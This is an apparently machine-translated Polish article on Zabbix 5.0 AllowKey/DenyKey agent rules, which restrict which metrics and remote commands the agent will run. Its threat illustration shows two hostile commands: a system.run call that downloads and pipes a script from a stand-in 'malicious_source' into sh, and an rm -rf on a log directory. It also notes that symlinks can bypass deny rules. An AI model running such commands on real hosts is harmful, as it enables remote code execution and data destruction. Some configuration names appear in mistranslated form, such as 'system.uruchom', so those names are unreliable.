Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Obsługa czarnych i białych list dla metryk po stronie agenta

Tichon UskowInżynier integracji, Zabbix

Problemy bezpieczeństwa danych

Zabbix 5.0 wprowadza nową funkcję, która poprawia bezpieczeństwo w systemach korzystających z agenta Zabbix i zastępuje stary parametr Włącz polecenia zdalne.

Poprawa bezpieczeństwa systemów agentowych wynika z faktu, że agent może wykonywać wiele potencjalnie niebezpiecznych działań.

  • Agent może zbierać praktycznie dowolne informacje, także te poufne i potencjalnie niebezpieczne, z plików konfiguracyjnych, plików dziennika, plików haseł i dowolnych innych plików.

Na przykład za pomocą narzędzia zabbix_get można uzyskać dostęp do listy użytkowników, ich katalogów domowych, plików z hasłami itd.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Uzyskiwanie dostępu do danych za pomocą narzędzia zabbix_get

UWAGA. Dane mogą zostać pobrane tylko wtedy, gdy agent ma uprawnienia do odczytu odpowiedniego pliku.. Ale na przykład plik /etc/passwd/ jest dostępny do odczytu dla wszystkich użytkowników.

  • Agent może również wykonywać polecenia potencjalnie niebezpieczne. Na przykład klawisz *system.uruchom[]** umożliwia wykonywanie dowolnych poleceń zdalnych na węzłach sieciowych, w tym uruchamianie skryptów z interfejsu internetowego Zabbix, które wykonują również polecenia po stronie agenta.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • W systemie Linux agent domyślnie działa bez uprawnień roota, natomiast w systemie Windows działa jako usługa w imieniu Systemu i ma nieograniczony dostęp do systemu plików. W związku z tym, jeśli po instalacji nie zostaną wprowadzone żadne zmiany w parametrach agenta Zabbix, agent będzie miał dostęp do rejestru i systemu plików, a także będzie mógł wykonywać zapytania WMI.

We wcześniejszych wersjach parametr WłączRemoteCommands=0 dozwolone jest tylko wyłączanie metryk za pomocą klawisza *system.uruchom[]** i uruchamianie skryptów z poziomu interfejsu internetowego, ale nie było możliwości ograniczenia dostępu do poszczególnych plików, zezwolenia lub zakazu korzystania z poszczególnych kluczy zainstalowanych wraz z agentem ani ograniczenia użycia poszczególnych parametrów.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Korzystanie z parametru EnableRemoteCommand we wcześniejszych wersjach Zabbix

Zezwalaj na klucz/Odmów klucza

Zabbix 5.0 pomaga chronić przed tego typu nieautoryzowanym dostępem dzięki białym i czarnym listom, które pozwalają lub nie pozwalają na metryki po stronie agenta.

W Zabbix 5.0 wszystkie klucze, łącznie z *system.uruchom[]**, są włączone, a także dodano dwa nowe parametry konfiguracji agenta:

Zezwalaj na klucz= — dozwolone kontrole;

OdmówKlucza= - kontrole zabronione;

gdzie jest wzorcem nazwy klucza z parametrami, który używa metaznaków (*).

Klucze AllowKey i DenyKey umożliwiają zezwalanie lub blokowanie poszczególnych metryk zgodnie z określonym wzorcem. W przeciwieństwie do innych parametrów konfiguracyjnych liczba parametrów AllowKey/DenyKey nie jest ograniczona. Umożliwia to jasne zdefiniowanie, co dokładnie agent może robić w systemie, poprzez stworzenie drzewa sprawdzeń — kluczy do wykonania, przy czym kolejność ich wpisywania odgrywa bardzo ważną rolę.

Kolejność zasad

Reguły są sprawdzane w kolejności, w jakiej zostały wprowadzone do pliku konfiguracyjnego. Sprawdzanie zgodności klucza z regułami odbywa się aż do znalezienia pierwszego pasującego elementu. Gdy tylko klucz elementu danych będzie zgodny ze wzorcem, zostanie on dozwolony lub odrzucony. Następnie sprawdzanie reguł zostaje zatrzymane, a pozostałe klucze są ignorowane.

W związku z tym, jeśli element spełnia zarówno regułę zezwalającą, jak i odmowną, wynik będzie zależał od tego, która reguła pojawi się pierwsza w pliku konfiguracyjnym.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

2 różne zasady z tym samym wzorem i kluczem vfs.file.size[/tmp/file]

Kolejność korzystania z kluczy AllowKey/DenyKey:

  1. precyzyjne zasady,
  2. zasady ogólne,
  3. zasada zakazu.

Na przykład, jeśli potrzebujesz dostępu do plików w konkretnym folderze, musisz najpierw zezwolić na dostęp do nich, a następnie zablokować dostęp do wszystkich innych plików, które nie podlegają ustawionym uprawnieniom. Jeśli najpierw zostanie użyta reguła odmowy, dostęp do folderu zostanie zablokowany.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Prawidłowa kolejność

Jeśli musisz zezwolić na uruchomienie 2 narzędzi za pośrednictwem *system.uruchom[]**, a pierwszą określoną regułą będzie reguła odrzucająca, narzędzia nie zostaną uruchomione, ponieważ pierwszy wzorzec zawsze będzie pasował do dowolnego klucza, a kolejne reguły będą ignorowane.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Nieprawidłowa kolejność

Wzory

Podstawowe zasady

Wzór jest wyrażeniem wieloznacznym. Symbol wieloznaczny (*) zastępuje dowolną liczbę dowolnych znaków na określonej pozycji. Metaznaków można używać zarówno w nazwie klucza, jak i w parametrach. Na przykład możesz na stałe zakodować pierwszy parametr jako tekst, i określ następny jako symbol wieloznaczny.

Parametry muszą być ujęte w nawiasy kwadratowe [].

  • system.run[* - niepoprawne
  • vfs.file*.txt] - niepoprawne
  • vfs.file.*[*] - Prawidłowy

Przykłady użycia symboli wieloznacznych.

  1. W nazwie klucza i parametrze. W tym przypadku klucz nie pasuje do podobnego klucza, który nie zawiera parametru, ponieważ we wzorcu określiliśmy, że chcemy uzyskać określone zakończenie nazwy klucza i określony zestaw parametrów.
  2. Jeśli we wzorcu nie użyto nawiasów kwadratowych, wzorzec ten zezwala na wszystkie klucze, które nie zawierają parametrów, i nie zezwala na wszystkie klucze, które zawierają określony parametr.
  3. Jeżeli klucz jest zapisany w całości, a parametry określono jako symbole wieloznaczne, będzie on pasował do każdego podobnego klucza z dowolnymi parametrami i nie będzie pasował do klucza bez nawiasów kwadratowych, tzn. zostanie dozwolony lub odrzucony.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Zasady wypełniania parametrów.

  • Jeżeli planowane jest użycie klucza z parametrami, parametry te muszą zostać określone w pliku konfiguracyjnym. Parametry muszą zostać określone jako metaznaki. Należy starannie zabronić dostępu do jakiegokolwiek pliku i wziąć pod uwagę, jakie informacje metryka może dostarczyć przy różnych opcjach zapisu - z parametrami i bez nich.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Cechy pisania kluczy z parametrami

  • Jeśli klucz określono z parametrami, ale parametry są opcjonalne i określone jako metaznaki, dozwolony będzie klucz bez parametrów. Na przykład, jeśli chcesz wyłączyć odbieranie informacji o obciążeniu procesora i określić, że klucz system.cpu.load[*] ma być wyłączony, pamiętaj, że klucz bez parametrów zwróci średnią wartość obciążenia.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Zasady wypełniania parametrów

Uwagi

regulacja

  • Niektóre reguły nie mogą zostać zmienione przez użytkownika, na przykład reguły odkrywania lub automatycznej rejestracji agenta. Reguły AllowKey/DenyKey nie mają wpływu na następujące parametry:
    — Nazwa hosta Element
    — HostMetadataItem
    — Element interfejsu hosta

UWAGA. Jeżeli administrator zablokuje klucz, Zabbix nie poda informacji o powodzie, dla którego metryka lub klucz znalazł się w 'NIEOBSŁUGIWANE'. Pliki dziennika agenta nie zawierają również informacji o zakazach wykonywania poleceń zdalnych. Robi się to ze względów bezpieczeństwa, ale może to utrudnić debugowanie, jeśli z jakiegoś powodu metryki znajdą się w nieobsługiwanej kategorii..

  • Nie należy stosować się do żadnej określonej kolejności podłączania zewnętrznych plików konfiguracyjnych (np. w kolejności alfabetycznej).

Narzędzia wiersza poleceń

Po skonfigurowaniu reguł musisz upewnić się, że wszystko jest ustawione poprawnie.

Możesz skorzystać z jednej z trzech opcji:

  • Dodaj metrykę do Zabbix.
  • Testuj z agent_zabbix. Agent Zabbix z opcją -drukuj (-p) pokazuje wszystkie klucze (domyślnie dozwolone) poza tymi, na które nie pozwala konfiguracja. I z opcją -test (-t) dla zabronionego klucza zwróci 'Nieobsługiwany klucz elementu".
  • Testuj z zabbix_get. Pożytek zabbix_get z opcją -k zwróci 'ZBX_NOTSUPPORTED: Nieznana metryka".

Zezwól lub odmów

Możesz odmówić dostępu do pliku i zweryfikować go np. za pomocą narzędzia zabbix_getże dostęp do pliku jest zabroniony.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

**

UWAGA. Cudzysłowy w parametrze są ignorowane.

Dostęp do takiego pliku może być jednak dozwolony inną ścieżką. Na przykład, jeśli prowadzi do niego dowiązanie symboliczne.

Obsługa czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Zaleca się przetestowanie różnych możliwości zastosowania ustawionych reguł, a także rozważenie możliwości obejścia zakazów.

Pytania i odpowiedzi

pytanie. Dlaczego wybrano tak złożony schemat wzorca z własnym językiem do opisu zasad, uprawnień i zakazów? Dlaczego nie można było użyć na przykład wyrażeń regularnych, z których korzysta Zabbix?

odpowiedź. Stanowi to problem wydajnościowy w przypadku wyrażeń regularnych, ponieważ zwykle występuje tylko jeden agent, który sprawdza ogromną liczbę metryk. Wyrażenia regularne są dość skomplikowanym procesem i nie jesteśmy w stanie w ten sposób sprawdzić tysięcy metryk. Znaki wieloznaczne to uniwersalne, szeroko stosowane i proste rozwiązanie.

pytanie. Czy pliki Include nie są uwzględniane w kolejności alfabetycznej?

odpowiedź. O ile wiem, praktycznie niemożliwe jest przewidzenie kolejności, w jakiej zostaną zastosowane reguły, jeśli rozproszysz je po różnych plikach. Zalecam umieszczenie wszystkich reguł AllowKey/DenyKey w jednym pliku Include, ponieważ oddziałują one na siebie i ten plik..

pytanie. W Zabbix 5.0 opcja „Włącz polecenia zdalne=' brakuje w pliku konfiguracyjnym i dostępne są tylko opcje AllowKey/DenyKey?

Odpowiedź. Tak, to prawda..

Dziękuję za uwagę!

Źródło: www.habr.com